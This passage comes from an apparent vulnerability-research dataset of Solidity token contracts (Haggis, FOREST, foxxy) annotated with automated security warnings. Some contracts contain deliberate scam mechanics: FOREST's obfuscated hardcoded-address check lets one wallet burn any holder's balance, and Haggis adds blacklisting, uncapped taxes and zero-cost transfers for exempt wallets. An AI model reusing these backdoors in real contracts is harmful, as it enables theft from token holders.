private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ce59a18): Haggis._reduceBuyTaxAt should be constant \n\t// Recommendation for ce59a18: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6ec42c5): Haggis._reduceSellTaxAt should be constant \n\t// Recommendation for 6ec42c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bd364cd): Haggis.constructor(address,string,string).HaggisWallet lacks a zerocheck on \t _HaggisWallet = HaggisWallet\n\t// Recommendation for bd364cd: Check that the address is not zero.\n constructor(\n address HaggisWallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: bd364cd\n _HaggisWallet = HaggisWallet;\n\n _name = name_;\n\n _symbol = symbol_;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_HaggisWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_HaggisWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawHaggisBalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableHaggisTrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n HaggisFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getHaggisAmounts(\n uint action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : HaggisFeeEnabled\n ? takeHaggisAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = HaggisFeeEnabled && takeFee\n ? takeHaggisAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4a5b699): Haggis.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_HaggisWallet).transfer(ethAmountFor)\n\t// Recommendation for 4a5b699: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: e838875\n\t\t// reentrancy-eth | ID: f6af283\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: e838875\n\t\t// reentrancy-eth | ID: f6af283\n\t\t// arbitrary-send-eth | ID: 4a5b699\n payable(_HaggisWallet).transfer(ethAmountFor);\n }\n\n function removeHaggisLimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeHaggisAmountAfterFees(\n uint HaggisActions,\n bool HaggisTakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 HaggisPercents;\n\n uint256 HaggisFeePrDenominator = 100;\n\n if (HaggisTakefee) {\n if (HaggisActions > 1) {\n HaggisPercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (HaggisActions > 0) {\n HaggisPercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n HaggisPercents = 0;\n }\n }\n } else {\n HaggisPercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(HaggisPercents).div(\n HaggisFeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: f6af283\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = HaggisTakefee ? feeAmounts : amounts.div(HaggisPercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getHaggisAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: f6af283\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: f6af283\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: e838875\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8f8da7f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8f8da7f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 35fe380): Haggis.createHaggisTrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for 35fe380: Ensure that all the return values of the function calls are used.\n function createHaggisTrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: 8f8da7f\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 8f8da7f\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: 8f8da7f\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: 35fe380\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapHaggisTokens(\n bool isIncludeFees,\n uint isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minHaggisTokens = pLimit;\n\n uint256 tokenHaggisWeight = pAmount;\n\n uint256 contractHaggisOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractHaggisOverWeight > minHaggisTokens &&\n tokenHaggisWeight > minHaggisTokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a6c94c3): Haggis.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for a6c94c3: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: a6c94c3\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: dfd76bf): Haggis.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for dfd76bf: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: dfd76bf\n _finalSellTax = _newFee;\n }\n\n function isHaggisUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeHaggisActions(\n address from,\n address to\n ) internal view returns (bool, uint) {\n uint _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addHaggiss(address[] memory Haggiss_) public onlyOwner {\n for (uint i = 0; i < Haggiss_.length; i++) {\n Haggiss[Haggiss_[i]] = true;\n }\n }\n\n function delHaggiss(address[] memory notHaggis) public onlyOwner {\n for (uint i = 0; i < notHaggis.length; i++) {\n Haggiss[notHaggis[i]] = false;\n }\n }\n\n function isHaggis(address a) public view returns (bool) {\n return Haggiss[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e838875): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e838875: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f6af283): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f6af283: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint actions;\n\n require(!Haggiss[sender] && !Haggiss[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isHaggisUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeHaggisActions(sender, recipient);\n\n if (\n inSwapHaggisTokens(takefee, actions, amount, _swapHaggisThreshHold)\n ) {\n\t\t\t// reentrancy-events | ID: e838875\n\t\t\t// reentrancy-eth | ID: f6af283\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: e838875\n\t\t// reentrancy-eth | ID: f6af283\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}\n",
"file_name": "solidity_code_10720.sol",
"size_bytes": 23244,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"FOREST\", unicode\"FOREST\", 9, 100000000) {}\n}\n",
"file_name": "solidity_code_10721.sol",
"size_bytes": 7151,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function contractEthBalance() external view returns (uint256) {\n return address(this).balance;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 1ca209a\n\t\t\t// reentrancy-eth | ID: 142f179\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-eth | ID: 1ca209a\n\t\t\t// reentrancy-eth | ID: 142f179\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: 5af3a43\n\t\t// reentrancy-events | ID: a335c95\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() external virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface IDexFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract foxxy is ERC20, Ownable {\n mapping(address => uint256) private _holderLastTransferBlock;\n\n bool public transferDelayInEffect = true;\n\n bool public limitsInEffect = true;\n\n bool private swapping;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8439d63): foxxy.swapTokensAtAmt should be immutable \n\t// Recommendation for 8439d63: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public swapTokensAtAmt;\n\n uint256 public constant FEE_DIVISOR = 10000;\n\n mapping(address => bool) public exemptFromTaxes;\n\n mapping(address => bool) public exemptFromLimits;\n\n bool public tradingActive;\n\n mapping(address => bool) public isLPPair;\n\n address public opsAddress;\n\n uint256 public maxTrans;\n\n uint256 public maxWallet;\n\n uint256 public buyTax;\n\n uint256 public sellTax;\n\n address public immutable lpPair;\n\n IDexRouter public immutable dexRouter;\n\n event UpdatedMaxTrans(uint256 newMax);\n\n event UpdatedWalletLimit(uint256 newMax);\n\n event SetExemptFromFees(address _address, bool _isExempt);\n\n event SetExemptFromLimits(address _address, bool _isExempt);\n\n event RemovedLimits();\n\n event UpdatedBuyTax(uint256 newAmt);\n\n event UpdatedSellTax(uint256 newAmt);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8d2f8bb): foxxy.constructor()._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 8d2f8bb: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: b8a57c8): foxxy.constructor()._v2Router is a local variable never initialized\n\t// Recommendation for b8a57c8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n constructor() ERC20(\"FOXXY\", \"FOXXY\") {\n address newOwner = 0x65688E0c6C18379f3825CD67ac51e57dfdF0A665;\n\n _mint(newOwner, 420_690_000_000 * 1e18);\n\n uint256 _totalSupply = totalSupply();\n\n address _v2Router;\n\n if (block.chainid == 1) {\n _v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n } else if (block.chainid == 5) {\n _v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n } else {\n revert(\"Chain not configured\");\n }\n\n dexRouter = IDexRouter(_v2Router);\n\n maxTrans = (_totalSupply * 10) / 1000;\n\n maxWallet = (_totalSupply * 10) / 1000;\n\n swapTokensAtAmt = (_totalSupply * 25) / 100000;\n\n opsAddress = 0x4F5B0a8436ec5e7645c545aa34F8e39108590d8e;\n\n buyTax = 2000;\n\n sellTax = 4000;\n\n lpPair = IDexFactory(dexRouter.factory()).createPair(\n address(this),\n dexRouter.WETH()\n );\n\n isLPPair[lpPair] = true;\n\n exemptFromLimits[lpPair] = true;\n\n exemptFromLimits[newOwner] = true;\n\n exemptFromLimits[address(this)] = true;\n\n exemptFromLimits[address(dexRouter)] = true;\n\n exemptFromTaxes[newOwner] = true;\n\n exemptFromTaxes[address(this)] = true;\n\n exemptFromTaxes[address(dexRouter)] = true;\n\n _approve(address(this), address(dexRouter), type(uint256).max);\n\n transferOwnership(newOwner);\n }\n\n function changeExemptFromFees(\n address _address,\n bool _isExempt\n ) external onlyOwner {\n require(_address != address(0), \"Zero Address\");\n\n exemptFromTaxes[_address] = _isExempt;\n\n emit SetExemptFromFees(_address, _isExempt);\n }\n\n function changeExemptFromLimits(\n address _address,\n bool _isExempt\n ) external onlyOwner {\n require(_address != address(0), \"Zero Address\");\n\n if (!_isExempt) {\n require(_address != lpPair, \"Pair\");\n }\n\n exemptFromLimits[_address] = _isExempt;\n\n emit SetExemptFromLimits(_address, _isExempt);\n }\n\n function setMaxTransaction(uint256 newNumInTokens) external onlyOwner {\n require(\n newNumInTokens >= ((totalSupply() * 5) / 1000) / (10 ** decimals()),\n \"Must be >= 0.5%\"\n );\n\n maxTrans = newNumInTokens * (10 ** decimals());\n\n emit UpdatedMaxTrans(maxTrans);\n }\n\n function setMaxWallet(uint256 newNumInTokens) external onlyOwner {\n require(\n newNumInTokens >= ((totalSupply() * 1) / 100) / (10 ** decimals()),\n \"Must be >= 1%\"\n );\n\n maxWallet = newNumInTokens * (10 ** decimals());\n\n emit UpdatedWalletLimit(maxWallet);\n }\n\n function setTaxes(uint256 _buyTax, uint256 _sellTax) external onlyOwner {\n buyTax = _buyTax;\n\n emit UpdatedBuyTax(buyTax);\n\n sellTax = _sellTax;\n\n emit UpdatedSellTax(sellTax);\n }\n\n function enableTradeStart() external onlyOwner {\n require(!tradingActive, \"Trading active\");\n\n tradingActive = true;\n }\n\n function removeAllRestrictions() external onlyOwner {\n limitsInEffect = false;\n\n transferDelayInEffect = false;\n\n maxTrans = totalSupply();\n\n maxWallet = totalSupply();\n\n emit RemovedLimits();\n }\n\n function disableTransferDelay() external onlyOwner {\n transferDelayInEffect = false;\n }\n\n function setOpsAddress(address _address) external onlyOwner {\n require(_address != address(0), \"zero address\");\n\n opsAddress = _address;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a335c95): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a335c95: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a546e37): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a546e37: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 142f179): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 